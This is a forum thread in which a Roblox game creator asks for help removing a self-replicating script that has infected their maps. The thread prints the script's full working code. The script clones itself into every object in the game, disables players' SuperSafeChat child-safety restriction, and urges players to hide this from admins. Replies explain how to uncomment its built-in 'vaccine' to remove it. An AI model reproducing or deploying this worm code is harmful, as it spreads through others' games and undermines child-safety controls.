|
| 11 Mar 2012 09:31 PM |
Hello, in one of my games, I have a bunch of maps that cycle. However they have been infected by a strange Script that is apparently supposed to let guests talk. I need help removing it, since all of my efforts have failed and it is in every block in the game, causing lag.
I could really use a anti virus that works for this kind of thing.
Heres the bad script
--Farvei's totally awesome script that makes Guests talk --Please give credit --Don't tell the admins! --Unnote the vaccine if you'd like to remove all copies of this script in your place if (script.Parent == workspace) then function checkForAndSwitch(player) if (player.SuperSafeChat == true) then player.SuperSafeChat = false; wait(5); local m = Instance.new("Message"); m.Text = "Hey People! Its stinko468!."; m.Parent = player; wait(5); m.Text = "Just hit the /, and then type in your message.."; wait(5); m.text = "Please DO NOT share your non-supersafe chat with the admins!" m:Remove(); m = nil; end player = nil; collectgarbage("collect"); end
function onChildAddedToPlayers(obj) if (obj.className == "Player") then checkForAndSwitch(obj); local m = Instance.new("Message"); m.Text = "Non-supersafe chat people are able to talk here."; m.Parent = obj; wait(5); m:Remove(); m = nil; end obj = nil; collectgarbage("collect"); end
function onChildAddedToWorkspace(obj) if (obj.className == "Model") then if (game.Players:playerFromCharacter(obj) ~= nil) then checkForAndSwitch(game.Players:playerFromCharacter(obj)); end end obj = nil; collectgarbage("collect"); end
function findLowestLevel(obj) local c = obj:GetChildren(); local lowestLevel = true;
for i, v in pairs(c) do if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then lowestLevel = false; wait(); findLowestLevel(v); end end
if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then if (obj ~= game.Lighting and obj ~= game.StarterPack) then local s = script:Clone(); s.Parent = obj; end end end
findLowestLevel(game);
game.Players.ChildAdded:connect(onChildAddedToPlayers); game.Workspace.ChildAdded:connect(onChildAddedToWorkspace); else local findScript = workspace:FindFirstChild(script.Name);
if (findScript == nil) then local s = script:Clone(); s.Parent = workspace; end end
--[[function findAllCopies(obj) local c = obj:GetChildren();
for i, v in pairs(c) do if (v.Name == script.Name and v.className == "Script" and v ~= script) then v.Parent = nil; elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then findAllCopies(v); end end end
findAllCopies(game);
script.Parent = nil;]] |
|
|
| Report Abuse |
|
|
|
| 11 Mar 2012 09:32 PM |
| It says to unote the vaccine, what does that mean? |
|
|
| Report Abuse |
|
|
|
| 11 Mar 2012 09:35 PM |
It means you should go to: wiki.roblox.com.
Then learn how to code, reset your place, and re-code the whole thing. |
|
|
| Report Abuse |
|
|
|
| 14 Mar 2012 08:58 PM |
| There has got to be an easier way, besides i have build a huge amount of maps and i dont feel like throwing my work away |
|
|
| Report Abuse |
|
|
| |
|
|
| 15 Mar 2012 07:16 PM |
Re-coding won't affect your maps.
† KMXD † |
|
|
| Report Abuse |
|
|
|
| 15 Mar 2012 07:47 PM |
| Well, sadly, if all your bricks are infected, all your maps would be infected, too. |
|
|
| Report Abuse |
|
|
|
| 27 Mar 2012 10:12 AM |
| cant someone just make a script that deletes it? |
|
|
| Report Abuse |
|
|
d0g1
|
  |
| Joined: 19 Jul 2011 |
| Total Posts: 23 |
|
|
| 27 Mar 2012 12:46 PM |
Most AV's will get it, just add the name of the script to the array of items that they search for
|
|
|
| Report Abuse |
|
|
jode6543
|
  |
| Joined: 16 Jun 2009 |
| Total Posts: 5363 |
|
|
| 27 Mar 2012 01:58 PM |
... Morons. xD "It says to unote the vaccine, what does that mean?" Unnote = Uncomment. Vaccine = --[[function findAllCopies(obj) local c = obj:GetChildren();
for i, v in pairs(c) do if (v.Name == script.Name and v.className == "Script" and v ~= script) then v.Parent = nil; elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then findAllCopies(v); end end end
findAllCopies(game);
script.Parent = nil;]]
Remove the --[[ and the ]]. Tada, it cleans itself up. |
|
|
| Report Abuse |
|
|